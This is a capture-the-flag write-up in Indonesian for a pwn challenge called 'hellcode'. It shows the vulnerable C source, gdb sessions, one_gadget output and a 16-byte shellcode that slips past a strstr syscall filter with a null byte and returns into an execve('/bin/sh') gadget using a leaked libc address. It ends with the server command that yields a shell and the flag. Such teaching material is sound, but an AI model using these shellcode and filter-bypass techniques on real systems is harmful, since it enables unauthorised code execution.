Tags: shellcode pwn
Rating:
**Summary** : Build a 16 bytes shellcode to gain shell. Using leaked LIBC address from RCX and ~~jump~~ return to address provided by one_gadget.
**Language** : ID ![](https://ctftime.org/static/images/f/id.png) | EN (soon™)
```C
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
void code_runner()
{
char tmp_code[18];
char *code;
bool executing = false;
printf("Please enter your code: ");
fflush(stdout);
fgets(tmp_code, 17, stdin);
char *end = strchr(tmp_code, '\n');
if (end == NULL) end = &tmp_code[16];
*end = '\0';
int len = end - tmp_code;
/* NO KERNEL FUNCS */
if (strstr(tmp_code, "\xcd\x80") || strstr(tmp_code, "\x0f\x34") || strstr(tmp_code, "\x0f\x05"))
{
printf("Nice try, but syscalls aren't permitted\n");
return;
}
/* NO CALLS TO DYNAMIC ADDRESSES */
if (strstr(tmp_code, "\xff"))
{
printf("Nice try, but dynamic calls aren't permitted\n");
return;
}
code = mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
memcpy(code, tmp_code, len);
code[len] = 0xc3;
mprotect(code, 4096, PROT_READ|PROT_EXEC);
if (executing == true)
{
printf("ROP chain detected!\n");
munmap(code, 4096);
exit(-1);
}
void (*func)() = (void (*)())code;
executing = true;
func();
munmap(code, 4096);
}
int main(int argc, char **argv)
{
gid_t gid = getegid();
setresgid(gid,gid,gid);
printf("Welcome to the Executor\n");
code_runner();
return 0;
}
```
---
**Tantangannya**: tidak menggunakan `int 80`, `syscall`, `sysenter`, `dynamic calls`, `rop chain ke code_runner()`.
Terlepas dari itu semua, cek bisa _dibypass_ dengan memberikan null byte `\x00` pada awal string input, ini karena libc `strstr` berhenti pada null byte. Sebelum memikirkan hal yang lebih jauh ke shellcode yang dipakai, debug dulu dengan gdb. Break saat shellcode akan dipanggil.
```
(gdb) disassemble code_runner
...
0x0000000000400b30 <+410>: mov rax,QWORD PTR [rbp-0x30]
0x0000000000400b34 <+414>: mov QWORD PTR [rbp-0x28],rax
0x0000000000400b38 <+418>: mov BYTE PTR [rbp-0x3d],0x1
0x0000000000400b3c <+422>: mov rdx,QWORD PTR [rbp-0x28]
0x0000000000400b40 <+426>: mov eax,0x0
0x0000000000400b45 <+431>: call rdx
...
(gdb) b *0x0000000000400b45
(gdb) i r
rax 0x0 0
rbx 0x0 0
rcx 0x7f759e30f777 140143141910391
rdx 0x7f759e7fc000 140143147073536
rsi 0x1000 4096
...
(gdb) x/i $rcx
0x7f759e30f777 <mprotect+7>: cmp rax,0xfffffffffffff001
```
_Boom_, disini ada `RCX` yang bisa dipakai untuk leak address libc. Info `RCX` yang didapat ini bisa digunakan untuk one_gadget dan _drop_ ke shell.
Libc bisa diambil dari ssh ke lokal (laptop/desktop), lalu arahkan `one_gadget` ke libcnya.
```
λ › one_gadget ./libc.so.6
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
```
Yep, karena nilai `RAX` saat memanggil shellcode adalah `NULL`, alamat `0x45216` bisa dipakai sebagai gadget.
---
Kalkulasi libc base address,
```
(gdb) info proc mappings
process 26539
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x400000 0x401000 0x1000 0x0 /problems/hellcode/hellcode
0x601000 0x602000 0x1000 0x1000 /problems/hellcode/hellcode
0x602000 0x603000 0x1000 0x2000 /problems/hellcode/hellcode
0x11d7000 0x11f8000 0x21000 0x0 [heap]
0x7f759e20e000 0x7f759e3ce000 0x1c0000 0x0 /lib/x86_64-linux-gnu/libc-2.23.so
0x7f759e3ce000 0x7f759e5ce000 0x200000 0x1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7f759e5ce000 0x7f759e5d2000 0x4000 0x1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7f759e5d2000 0x7f759e5d4000 0x2000 0x1c4000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7f759e5d4000 0x7f759e5d8000 0x4000 0x0
0x7f759e5d8000 0x7f759e5fe000 0x26000 0x0 /lib/x86_64-linux-gnu/ld-2.23.so
0x7f759e7f0000 0x7f759e7f3000 0x3000 0x0
0x7f759e7fc000 0x7f759e7fd000 0x1000 0x0
0x7f759e7fd000 0x7f759e7fe000 0x1000 0x25000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7f759e7fe000 0x7f759e7ff000 0x1000 0x26000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7f759e7ff000 0x7f759e800000 0x1000 0x0
0x7ffc50dd1000 0x7ffc50df2000 0x21000 0x0 [stack]
0x7ffc50dfa000 0x7ffc50dfd000 0x3000 0x0 [vvar]
0x7ffc50dfd000 0x7ffc50dff000 0x2000 0x0 [vdso]
0xffffffffff600000 0xffffffffff601000 0x1000 0x0 [vsyscall]
```
`LIBC` = `0x7f759e20e000`
`RCX` = `0x7f759e30f777`
`ONE_GADGET_RELATIVE_OFFSET` = `RCX - (LIBC + 0x45216)`
`ONE_GADGET_RELATIVE_OFFSET` = `RCX - 0xbc561`
---
**Shellcode**, Ada beberapa cara untuk mencapai alamat offset one_gadget, tapi yang digunakan adalah dengan _membuat 'stack pivot' dan menaruh offset one_gadget pada stack tersebut **sehingga** saat instruksi_ `ret` _langsung 'loncat' ke alamat offset one_gadget_.
```asm
sub rcx, 0xbc561
add rsp, 0x48
mov qword [rsp], rcx
ret
```
```
λ › rasm2 -b 64 'sub rcx, 0xbc561;add rsp, 0x48;mov qword [rsp], rcx;ret'
4881e961c50b004883c44848890c24c3
λ › echo -n '4881e961c50b004883c44848890c24c3' | wc -c
32
```
Beruntungnya, shellcode tidak melebihi batas 16 bytes. Coba debug dulu shellcode dengan gdb,
```
(gdb) x/i $rip
=> 0x7f759e7fc00b: mov qword [rsp], rcx
...
(gdb) x/i $rip
=> 0x7f759e7fc00f: ret
(gdb) x/gx $rsp
0x7ffc50def820: 0x00007f759e253216 # <-- one_gadget offset.
(gdb) c
Continuing.
process 26539 is executing new program: /bin/dash
```
Yep, berhasil. Langsung test pada server,
```
team297054@shell:/problems/hellcode$ (python2 -c 'print "4881e961c50b004883c44848890c24c3".decode("hex")'; cat -)|./hellcode
Welcome to the Executor
Please enter your code: ls
flag hellcode
cat flag
actf{a_secure_code_invoker_is_oxymoronic}
```
---
__FLAG :__ `actf{a_secure_code_invoker_is_oxymoronic}`